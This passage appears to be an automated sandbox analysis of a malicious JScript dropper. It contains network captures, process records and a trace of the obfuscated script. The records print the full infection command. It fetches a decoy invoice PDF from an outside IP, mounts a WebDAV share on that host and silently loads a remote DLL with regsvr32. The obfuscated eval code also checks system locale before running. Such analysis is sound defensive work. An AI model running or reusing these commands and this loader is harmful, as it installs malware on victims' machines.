Jan 14, 2025 10:19:00.264975071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 09:19:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 14, 2025 10:19:00.265002012 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 14, 2025 10:19:00.265024900 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 14, 2025 10:19:00.265036106 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 14, 2025 10:19:00.265068054 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 14, 2025 10:19:00.265079975 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 14, 2025 10:19:00.265090942 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 14, 2025 10:19:00.265192032 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 14, 2025 10:19:00.265202999 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 14, 2025 10:19:00.265213013 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 14, 2025 10:19:00.324970007 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6504	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:19:02.297873974 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 14, 2025 10:19:03.116024971 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 09:19:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	04:18:55
Start date:	14/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js"
Imagebase:	0x7ff6dab60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:18:55
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Imagebase:	0x7ff737b80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:18:55
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:18:55
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:19:00
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:19:00
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff737b80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:19:00
Start date:	14/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cf6d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:19:01
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	04:19:01
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:19:01
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,9331325378780526045,7878817069450235506,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sfvekb() {	sfvekb() ➔ undefined
1	this[qhmdn + qqeky + jliismzky + rynjch] ( "biiifafo=[1031,3079,5127,4103,2055,3072];var sbuqp=this[hdgqwv+jliismzky+jbghzpz+gvblp+qhmdn+sdeocah+ohhwk+qeicp](this[fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp][eyyrbir+jbghzpz+qhmdn+jliismzky+qeicp+qhmdn+kdioj+hhowwbxd+clrac+qhmdn+cfngwk+qeicp](fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp+izshvgnz+rxadyqm+ibeufxart+qhmdn+rynjch+rynjch)[ndwtceky+qhmdn+shakbtmt+ndwtceky+qhmdn+jliismzky+wfamyjw](flhuqkyzl+plfbx+kctso+guhoyffn+eukgp+eyyrbir+qxxcb+ndwtceky+ndwtceky+kctso+mpgriuqu+xmdcjemq+eukgp+qxxcb+rxadyqm+kctso+ndwtceky+grwsqdvyc+eyyrbir+bfmvgq+ohhwk+qeicp+jbghzpz+bfmvgq+rynjch+tmepj+fodangmur+jliismzky+ohhwk+qhmdn+rynjch+grwsqdvyc+sdeocah+ohhwk+qeicp+qhmdn+jbghzpz+ohhwk+jliismzky+qeicp+xiatf+bfmvgq+ohhwk+jliismzky+rynjch+grwsqdvyc+uvbgegtph+bfmvgq+cfngwk+jliismzky+rynjch+qhmdn),16);for(spmfufe=0;spmfufe<biiifafo[rynjch+qhmdn+ohhwk+shakbtmt+qeicp+ibeufxart];++spmfufe){if(sbuqp==biiifafo[spmfufe]){sbuqp=true;break;}}if(sbuqp!==true)this[fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp][gbpvbhawj+vuedelvz+xiatf+qeicp]();this[fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp][eyyrbir+jbghzpz+qhmdn+jliismzky+qeicp+qhmdn+kdioj+hhowwbxd+clrac+qhmdn+cfngwk+qeicp](fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp+izshvgnz+rxadyqm+ibeufxart+qhmdn+rynjch+rynjch)[jbghzpz+vuedelvz+ohhwk](cfngwk+wkizm+wfamyjw+tmepj+bguzhzhks+cfngwk+tmepj+hdgqwv+bfmvgq+lxular+qhmdn+jbghzpz+gvblp+ibeufxart+qhmdn+rynjch+rynjch+izshvgnz+qhmdn+ilwccrut+qhmdn+tmepj+seovtozp+eyyrbir+bfmvgq+wkizm+wkizm+jliismzky+ohhwk+wfamyjw+tmepj+wwoeqiv+sdeocah+ohhwk+qqeky+bfmvgq+kxfkmh+qhmdn+seovtozp+fchslk+qhmdn+hhowwbxd+ndwtceky+qhmdn+fgjreuzh+vuedelvz+qhmdn+gvblp+qeicp+tmepj+seovtozp+kdioj+vuedelvz+qeicp+iumqf+xiatf+rynjch+qhmdn+tmepj+chetde+qeicp+qhmdn+wkizm+hdgqwv+chetde+grwsqdvyc+xiatf+ohhwk+qqeky+bfmvgq+xiatf+cfngwk+qhmdn+izshvgnz+hdgqwv+wfamyjw+zpbftzbjx+tmepj+ibeufxart+qeicp+qeicp+hdgqwv+fxlpty+bguzhzhks+bguzhzhks+bvstv+zmsru+kipjxcc+izshvgnz+bvstv+jdoui+kipjxcc+izshvgnz+bvstv+izshvgnz+mnamse+yajlxt+smngcrlp+bguzhzhks+xiatf+ohhwk+qqeky+bfmvgq+xiatf+cfngwk+qhmdn+izshvgnz+hdgqwv+ibeufxart+hdgqwv+wwoeqiv+wizebz+wizebz+gvblp+qeicp+jliismzky+jbghzpz+qeicp+tmepj+chetde+qeicp+qhmdn+wkizm+hdgqwv+chetde+grwsqdvyc+xiatf+ohhwk+qqeky+bfmvgq+xiatf+cfngwk+qhmdn+izshvgnz+hdgqwv+wfamyjw+zpbftzbjx+wizebz+wizebz+cfngwk+wkizm+wfamyjw+tmepj+bguzhzhks+cfngwk+tmepj+ohhwk+qhmdn+qeicp+tmepj+vuedelvz+gvblp+qhmdn+tmepj+grwsqdvyc+grwsqdvyc+bvstv+zmsru+kipjxcc+izshvgnz+bvstv+jdoui+kipjxcc+izshvgnz+bvstv+izshvgnz+mnamse+yajlxt+smngcrlp+rqavp+hphyufczo+hphyufczo+hphyufczo+hphyufczo+grwsqdvyc+wfamyjw+jliismzky+qqeky+lxular+lxular+lxular+jbghzpz+bfmvgq+bfmvgq+qeicp+grwsqdvyc+wizebz+wizebz+cfngwk+wkizm+wfamyjw+tmepj+bguzhzhks+cfngwk+tmepj+jbghzpz+qhmdn+shakbtmt+gvblp+qqeky+jbghzpz+kipjxcc+mnamse+tmepj+bguzhzhks+gvblp+tmepj+grwsqdvyc+grwsqdvyc+bvstv+zmsru+kipjxcc+izshvgnz+bvstv+jdoui+kipjxcc+izshvgnz+bvstv+izshvgnz+mnamse+yajlxt+smngcrlp+rqavp+hphyufczo+hphyufczo+hphyufczo+hphyufczo+grwsqdvyc+wfamyjw+jliismzky+qqeky+lxular+lxular+lxular+jbghzpz+bfmvgq+bfmvgq+qeicp+grwsqdvyc+bvstv+bvstv+hphyufczo+yajlxt+zmsru+mnamse+yajlxt+smngcrlp+bvrcrq+yajlxt+mnamse+mnamse+hphyufczo+dohazvjmk+kipjxcc+izshvgnz+wfamyjw+rynjch+rynjch,0,false);" );	eval("biiifafo=[1031,3079,5127,4103,2055,3072];var sbuqp=this[hdgqwv+jliismzky+jbghzpz+gvblp+qhmdn+sdeocah+ohhwk+qeicp](this[fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp][eyyrbir+jbghzpz+qhmdn+jliismzky+qeicp+qhmdn+kdioj+hhowwbxd+clrac+qhmdn+cfngwk+qeicp](fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp+izshvgnz+rxadyqm+ibeufxart+qhmdn+rynjch+rynjch)[ndwtceky+qhmdn+shakbtmt+ndwtceky+qhmdn+jliismzky+wfamyjw](flhuqkyzl+plfbx+kctso+guhoyffn+eukgp+eyyrbir+qxxcb+ndwtceky+ndwtceky+kctso+mpgriuqu+xmdcjemq+eukgp+qxxcb+rxadyqm+kctso+ndwtceky+grwsqdvyc+eyyrbir+bfmvgq+ohhwk+qeicp+jbghzpz+bfmvgq+rynjch+tmepj+fodangmur+jliismzky+ohhwk+qhmdn+rynjch+grwsqdvyc+sdeocah+ohhwk+qeicp+qhmdn+jbghzpz+ohhwk+jliismzky+qeicp+xiatf+bfmvgq+ohhwk+jliismzky+rynjch+grwsqdvyc+uvbgegtph+bfmvgq+cfngwk+jliismzky+rynjch+qhmdn),16);for(spmfufe=0;spmfufe<biiifafo[rynjch+qhmdn+ohhwk+shakbtmt+qeicp+ibeufxart];++spmfufe){if(sbuqp==biiifafo[spmfufe]){sbuqp=true;break;}}if(sbuqp!==true)this[fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp][gbpvbhawj+vuedelvz+xiatf+qeicp]();this[fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp][eyyrbir+jbghzpz+qhmdn+jliismzky+qeicp+qhmdn+kdioj+hhowwbxd+clrac+qhmdn+cfngwk+qeicp](fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp+izshvgnz+rxadyqm+ibeufxart+qhmdn+rynjch+rynjch)[jbghzpz+vuedelvz+ohhwk](cfngwk+wkizm+wfamyjw+tmepj+bguzhzhks+cfngwk+tmepj+hdgqwv+bfmvgq+lxular+qhmdn+jbghzpz+gvblp+ibeufxart+qhmdn+rynjch+rynjch+izshvgnz+qhmdn+ilwccrut+qhmdn+tmepj+seovtozp+eyyrbir+bfmvgq+wkizm+wkizm+jliismzky+ohhwk+wfamyjw+tmepj+wwoeqiv+sdeocah+ohhwk+qqeky+bfmvgq+kxfkmh+qhmdn+seovtozp+fchslk+qhmdn+hhowwbxd+ndwtceky+qhmdn+fgjreuzh+vuedelvz+qhmdn+gvblp+qeicp+tmepj+seovtozp+kdioj+vuedelvz+qeicp+iumqf+xiatf+rynjch+qhmdn+tmepj+chetde+qeicp+qhmdn+wkizm+hdgqwv+chetde+grwsqdvyc+xiatf+ohhwk+qqeky+bfmvgq+xiatf+cfngwk+qhmdn+izshvgnz+hdgqwv+wfamyjw+zpbftzbjx+tmepj+ibeufxart+qeicp+qeicp+hdgqwv+fxlpty+bguzhzhks+bguzhzhks+bvstv+zmsru+kipjxcc+izshvgnz+bvstv+jdoui+kipjxcc+izshvgnz+bvstv+izshvgnz+mnamse+yajlxt+smngcrlp+bguzhzhks+xiatf+ohhwk+qqeky+bfmvgq+xiatf+cfngwk+qhmdn+izshvgnz+hdgqwv+ibeufxart+hdgqwv+wwoeqiv+wizebz+wizebz+gvblp+qeicp+jliismzky+jbghzpz+qeicp+tmepj+chetde+qeicp+qhmdn+wkizm+hdgqwv+chetde+grwsqdvyc+xiatf+ohhwk+qqeky+bfmvgq+xiatf+cfngwk+qhmdn+izshvgnz+hdgqwv+wfamyjw+zpbftzbjx+wizebz+wizebz+cfngwk+wkizm+wfamyjw+tmepj+bguzhzhks+cfngwk+tmepj+ohhwk+qhmdn+qeicp+tmepj+vuedelvz+gvblp+qhmdn+tmepj+grwsqdvyc+grwsqdvyc+bvstv+zmsru+kipjxcc+izshvgnz+bvstv+jdoui+kipjxcc+izshvgnz+bvstv+izshvgnz+mnamse+yajlxt+smngcrlp+rqavp+hphyufczo+hphyufczo+hphyufczo+hphyufczo+grwsqdvyc+wfamyjw+jliismzky+qqeky+lxular+lxular+lxular+jbghzpz+bfmvgq+bfmvgq+qeicp+grwsqdvyc+wizebz+wizebz+cfngwk+wkizm+wfamyjw+tmepj+bguzhzhks+cfngwk+tmepj+jbghzpz+qhmdn+shakbtmt+gvblp+qqeky+jbghzpz+kipjxcc+mnamse+tmepj+bguzhzhks+gvblp+tmepj+grwsqdvyc+grwsqdvyc+bvstv+zmsru+kipjxcc+izshvgnz+bvstv+jdoui+kipjxcc+izshvgnz+bvstv+izshvgnz+mnamse+yajlxt+smngcrlp+rqavp+hphyufczo+hphyufczo+hphyufczo+hphyufczo+grwsqdvyc+wfamyjw+jliismzky+qqeky+lxular+lxular+lxular+jbghzpz+bfmvgq+bfmvgq+qeicp+grwsqdvyc+bvstv+bvstv+hphyufczo+yajlxt+zmsru+mnamse+yajlxt+smngcrlp+bvrcrq+yajlxt+mnamse+mnamse+hphyufczo+dohazvjmk+kipjxcc+izshvgnz+wfamyjw+rynjch+rynjch,0,false);") ➔ 0
2	}
3	xmdcjemq = "p";
4	xmdcjemq = "j";
5	xmdcjemq = "r";
6	xmdcjemq = "E";
7	xmdcjemq = "s";
8	xmdcjemq = "u";
9	xmdcjemq = "Q";
10	xmdcjemq = "T";
11	seovtozp = "W";
12	seovtozp = "g";
13	seovtozp = "O";
14	seovtozp = "X";
15	seovtozp = "U";
16	seovtozp = "W";
17	seovtozp = "V";
18	seovtozp = "c";
19	seovtozp = "Y";
20	seovtozp = "-";
21	izshvgnz = "r";
22	izshvgnz = "L";
23	izshvgnz = "V";
24	izshvgnz = "E";
25	izshvgnz = "l";
26	izshvgnz = ".";
27	qxxcb = "U";
28	qxxcb = "b";
29	qxxcb = "Z";
30	qxxcb = "J";
31	qxxcb = "h";
32	qxxcb = "O";
33	qxxcb = "U";
34	dohazvjmk = "l";
35	dohazvjmk = "v";
36	dohazvjmk = "E";
37	dohazvjmk = "G";
38	dohazvjmk = "T";
39	dohazvjmk = "m";
40	dohazvjmk = "s";
41	dohazvjmk = "6";
42	vuedelvz = "w";
43	vuedelvz = "o";
44	vuedelvz = "C";
45	vuedelvz = "i";
46	vuedelvz = "y";
47	vuedelvz = "x";
48	vuedelvz = "O";
49	vuedelvz = "C";
50	vuedelvz = "H";
51	vuedelvz = "u";
52	kdioj = "J";
53	kdioj = "O";
54	kdioj = "U";
55	kdioj = "s";
56	kdioj = "w";
57	kdioj = "O";
58	hhowwbxd = "P";
59	hhowwbxd = "D";
60	hhowwbxd = "O";
61	hhowwbxd = "M";
62	hhowwbxd = "G";
63	hhowwbxd = "K";
64	hhowwbxd = "e";
65	hhowwbxd = "b";
66	wfamyjw = "M";
67	wfamyjw = "z";
68	wfamyjw = "u";
69	wfamyjw = "A";
70	wfamyjw = "k";
71	wfamyjw = "f";
72	wfamyjw = "R";
73	wfamyjw = "P";
74	wfamyjw = "x";
75	wfamyjw = "d";
76	fodangmur = "W";
77	fodangmur = "Y";
78	fodangmur = "l";
79	fodangmur = "p";
80	fodangmur = "h";
81	fodangmur = "X";
82	fodangmur = "F";
83	fodangmur = "P";
84	fodangmur = "P";
85	sdeocah = "m";
86	sdeocah = "P";
87	sdeocah = "T";
88	sdeocah = "u";
89	sdeocah = "q";
90	sdeocah = "J";
91	sdeocah = "I";
92	bvrcrq = "f";
93	bvrcrq = "x";
94	bvrcrq = "e";
95	bvrcrq = "S";
96	bvrcrq = "d";
97	bvrcrq = "N";
98	bvrcrq = "l";
99	bvrcrq = "7";
100	jliismzky = "u";
101	jliismzky = "M";
102	jliismzky = "z";
103	jliismzky = "e";
104	jliismzky = "B";
105	jliismzky = "e";
106	jliismzky = "z";
107	jliismzky = "i";
108	jliismzky = "a";
109	mnamse = "g";
110	mnamse = "r";
111	mnamse = "e";
112	mnamse = "N";
113	mnamse = "b";
114	mnamse = "K";
115	mnamse = "2";
116	flhuqkyzl = "t";
117	flhuqkyzl = "D";
118	flhuqkyzl = "A";
119	flhuqkyzl = "Z";
120	flhuqkyzl = "Q";
121	flhuqkyzl = "H";
122	zmsru = "H";
123	zmsru = "I";
124	zmsru = "b";
125	zmsru = "h";
126	zmsru = "S";
